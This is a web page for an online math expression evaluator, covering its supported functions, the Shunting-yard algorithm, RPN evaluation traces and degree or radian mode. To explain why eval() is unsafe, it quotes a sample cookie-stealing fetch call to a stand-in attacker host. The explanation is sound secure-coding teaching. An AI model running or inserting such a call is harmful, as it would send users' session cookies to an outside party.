Math Expression Evaluator

Safely evaluate math expressions using the Shunting-yard algorithm — no eval(). Supports functions, constants, and step-by-step tracing.

Enter an expression above and press Evaluate or Enter
Enter a math expression and press Evaluate or hit Enter.
Click any entry to re-evaluate it.
  • No calculations yet. Switch to Calculate tab and evaluate an expression.
SyntaxDescriptionExampleResult
+ - * /Basic arithmetic10 / 42.5
^Exponentiation2^101024
%Modulo (remainder)17 % 52
sqrt(x)Square rootsqrt(225)15
abs(x)Absolute valueabs(-7)7
sin(x)Sine (DEG or RAD)sin(90)1
cos(x)Cosine (DEG or RAD)cos(0)1
tan(x)Tangent (DEG or RAD)tan(45)1
asin(x)Arcsine → degrees/radasin(1)90
acos(x)Arccosine → degrees/radacos(0)90
atan(x)Arctangent → degrees/radatan(1)45
log(x)Logarithm base 10log(1000)3
ln(x)Natural logarithmln(e)1
exp(x)e raised to power xexp(1)2.718…
floor(x)Round down to integerfloor(3.9)3
ceil(x)Round up to integerceil(3.1)4
round(x)Round to nearest integerround(3.5)4
sign(x)Sign of number (-1/0/1)sign(-99)-1
piπ ≈ 3.14159…2 * pi * 531.416…
eEuler's number ≈ 2.718…e^27.389…

How to Use the Math Expression Evaluator

  1. Type an expression in the input field, for example sqrt(144) + 2^3 or sin(45) * cos(45).
  2. Press Enter or click Evaluate — the result appears immediately, along with a token breakdown and step-by-step evaluation trace.
  3. Toggle DEG/RAD using the chip button to switch trigonometric functions between degree mode (default) and radian mode.
  4. View History to see all past calculations. Click any entry to reload it into the input.
  5. Check Reference for a full list of supported functions and constants with examples.

What This Tool Does

The Math Expression Evaluator parses and computes mathematical expressions entirely in your browser using the Shunting-yard algorithm invented by Edsger Dijkstra. Unlike most online calculators that simply call JavaScript's eval() function — which executes arbitrary code and is a significant security risk — this tool tokenises the input, converts it to Reverse Polish Notation (RPN), and evaluates the RPN stack using safe arithmetic only.

What Is the Shunting-yard Algorithm?

The Shunting-yard algorithm processes an infix expression (e.g. 3 + 4 * 2) token by token, using an operator stack and an output queue to produce an equivalent postfix (RPN) expression. The name "shunting yard" is a railway analogy: the algorithm shunts tokens like a train-yard worker shunts rail cars between tracks. The key insight is that operator precedence and parentheses are handled entirely during the shunting phase, making the evaluation phase trivial — just push numbers onto a stack, and when you hit an operator, pop operands and push the result.

Why Avoid eval()?

JavaScript's eval() function executes any string as JavaScript code. This means that if user input contains fetch('https://evil.example/steal?data=' + document.cookie), it will run. Most simple online calculators use eval() or the Function() constructor because they are easy to implement, but neither is safe for untrusted input. The Shunting-yard approach only ever performs numeric operations, making it completely immune to code injection attacks.

Supported Operators and Precedence

Operators are evaluated in this order (highest to lowest precedence): functions like sqrt and sin are applied first, then the exponentiation operator ^ (right-associative), then multiplication *, division /, and modulo %, and finally addition + and subtraction -. Parentheses override all precedence rules. You can nest parentheses as deeply as needed: ((2 + 3) * (4 - 1)) ^ 2 evaluates correctly.

Degree vs. Radian Mode

Trigonometric functions — sin, cos, tan, asin, acos, atan — can operate in either degree mode or radian mode. In degree mode (default), sin(90) returns exactly 1, cos(180) returns -1, and tan(45) returns 1. In radian mode, you pass values like sin(pi/2) or cos(pi). Most students and engineers find degree mode more natural for quick calculations, while mathematicians and programmers often prefer radians. Switch modes with the DEG/RAD toggle at any time — the current expression is immediately re-evaluated.

Reading the Step-by-Step Trace

After evaluating an expression, the tool shows three sections. Tokens shows how the input was broken into individual elements: numbers (green), operators (yellow), functions (purple), and parentheses (grey). RPN shows the Reverse Polish Notation form of your expression after the Shunting-yard algorithm. Evaluation Steps shows the stack state at each step of the RPN evaluation — each row shows what action was taken (push a number, or apply an operator to the top two stack elements) and what the stack contained after that step. This makes the algorithm transparent and educational.

Practical Use Cases

This evaluator is useful for developers who need a quick calculation without leaving the browser, for students learning about expression parsing and compiler design, for verifying formulas before coding them into applications, and for educators who want to show how computers evaluate mathematical notation. The history feature lets you build up a series of related calculations and refer back to earlier results. The reference panel provides a complete cheat sheet of every supported function with example inputs and outputs.

Frequently Asked Questions

Yes. This tool uses the Shunting-yard algorithm to parse expressions into Reverse Polish Notation and then evaluates the RPN stack using only arithmetic operations. No eval() or Function() constructor is used, so no arbitrary JavaScript can be executed — even if you paste in code-like text.
Supported functions include: sqrt, sin, cos, tan, asin, acos, atan, log (base 10), ln (natural log), abs, floor, ceil, round, exp, and sign. Constants pi and e are recognised. Operators supported: +, -, *, /, ^ (exponentiation), % (modulo). See the Reference tab for a full table with examples.
The Shunting-yard algorithm, invented by Edsger Dijkstra, converts infix notation (how humans normally write math, like 3 + 4 * 2) into Reverse Polish Notation (like 3 4 2 * +). RPN can then be evaluated with a simple stack: push numbers, and when you hit an operator, pop two numbers, apply the operator, and push the result back.
sqrt(144) evaluates to 12 (because 12 × 12 = 144). 2^3 evaluates to 8 (because 2 × 2 × 2 = 8). Adding them gives 12 + 8 = 20. The exponent operator ^ has higher precedence than addition, so it is evaluated before the +. You can see every step in the evaluation trace shown below the result.
You can toggle between degrees and radians using the DEG/RAD chip. In degree mode (default), sin(90) returns 1. In radian mode, sin(3.14159) returns approximately 0 (sin of π radians). Toggle the mode at any time — the current expression is immediately re-evaluated in the new angle unit.